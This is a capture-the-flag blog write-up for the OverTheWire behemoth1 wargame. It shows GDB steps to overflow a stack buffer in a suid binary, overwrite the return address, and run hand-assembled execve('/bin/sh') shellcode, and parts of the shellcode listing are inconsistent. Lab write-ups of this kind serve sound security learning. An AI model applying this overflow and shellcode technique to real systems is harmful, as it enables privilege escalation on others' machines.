@JohnKoepi @ g on software engineering

How to solve behemoth1 task or stack overflow showcase

The tasks have been taken from overthewire.org.

Login into the warbox:

    $ ssh behemoth1@behemoth.labs.overthewire.org -p 2221
    with the password you've obtained in `behemoth0`

Run and try to enter strings of various length:

    $ /behemoth/behemoth1

It’s easy to find out that entering something longer than 75 symbols crashes the program. Congratulations, this is the stack overflow problem.

012345678901234567890123456789012345678901234567890123456789012345678901234

Let’s take a look at the file. It has suid bit as most of the problems from the suite. readelf or objdump would not show you anything interesting.

    $ cat /behemoth/behemoth0

Ok, go for GDB with:

    $ gdb -ix /usr/local/gdbinit/gdbinit /behemoth/behemoth1
    gdb$ func
    gdb$ dis main

You will see disassembled main listing. What is interesting here, is that the function is very short and contains nothing but immediate puts call responding with a failed authentication right after the gets request for the password.

There is no password here. No password check. You have to exploit stack overflow to gain access to the next flag. So here you go.

Set the breakpoint at last leave instruction, and calculate size of the message for ebp and eip values on the stack.

    gdb$ b *0x0804847f
    gdb$ run < <(echo -ne "123123456789012345678901234567890123456789012345678901234567890123467890123\x00\x00\x00\x00\x00\x00\x00\x00")
    Breakpoint 1, 0x0804847f in main ()
    gdb$ hexdump $esp 7

leave instruction does a simple thing. It restores stack pointer from the stack base and pops out ebp from the frame. Next coming rep will pop eip from the stack top. Thus, you have the following instructions:

    # https://c9x.me/x86/html/file_module_x86_id_154.html
    $esp = $ebp
    $ebp = pop()
    $eip = pop()

    # mem map
    00 00 00 00 00 00 00 00 | XX XX XX XX YY YY YY YY
                              ^ ebp register value
                                          ^ eip register value

So eip starts at

    gdb$ p $ebp+0x4
    $2 = (void *) 0xffffd5bc

Beginning of the buffer may be calculated tracing the instructions in the main or right from the hex dump:

    gdb$ p $ebp-0x60-0x8+0x1d
    $1 = (void *) 0xffffd56d

Rerun program with eip replaced for the beginning of the buffer.

    gdb$ run < <(echo -ne "123123456789012345678901234567890123456789012345678901234567890123467890123\x00\x00\x00\x00\x6d\xd5\xff\xff")
    Breakpoint 1, 0x0804847f in main ()
    gdb$ n 2
    0xffffd56d in ?? ()

So, it works. We’ve got our process jumped right into the buffer.

Now, we need to load the input with a program to replace current process with a /bin/sh.

We have 75 bytes to fulfill our purpose.

Let’s invoke /bin/sh right from the stack. In order to do that, we will need to call execve syscall. Read about linux syscall notation and execve system call at man 2 syscall, man 2 syscalls, man 2 execve, Linus kernel source unistd_32.h.

So, execve in 32 bit mode has 3 arguments and syscall id equal to 0x0b (11). The assembly for the execve("/bin/sh", NULL, NULL) call should look like this:

    31C0  xor %eax, %eax          ; syscall id: %eax = 0
    ????  lea str_address, %edi   ; arg1: path
    31F6  xor %esi, %esi          ; arg2: %esi = 0
    99    cdq                     ; arg3: %edx = 0, as extension of $eax
    B00B  mov $0x0b, %al          ; syscall id: %eax = 0xb
    CD80  int $0x80               ; syscall execve("/bin/sh", NULL, NULL)

Where to take an address for lea? It can be obtained from the stack using short call jump trick:

    jmp short forward
    program:
    pop %edi
    ...
    forward:
    call short program
    '/bin/sh'

Finally, we have something like:

    0000        jmp short 0xd
    0002  5F    pop %edi                ; arg1: path
    0006  31F6  xor %esi, %esi          ; arg2: %esi = 0
    000A  31C0  xor %eax, %eax          ; syscall id: %eax = 0
    000B  99    cdq                     ; arg3: %edx = 0, as extension of $eax
    000D  B00B  mov $0x0b, %al          ; syscall id: %eax = 0xb
    000F  CD80  int $0x80               ; syscall execve("/bin/sh", NULL, NULL)
                call qword 0x2
                '/bin/sh'  0x00

Use obtained password to enter new a /bin/sh shell and get a flag for the next warbox.

Links

blog comments powered by Disqus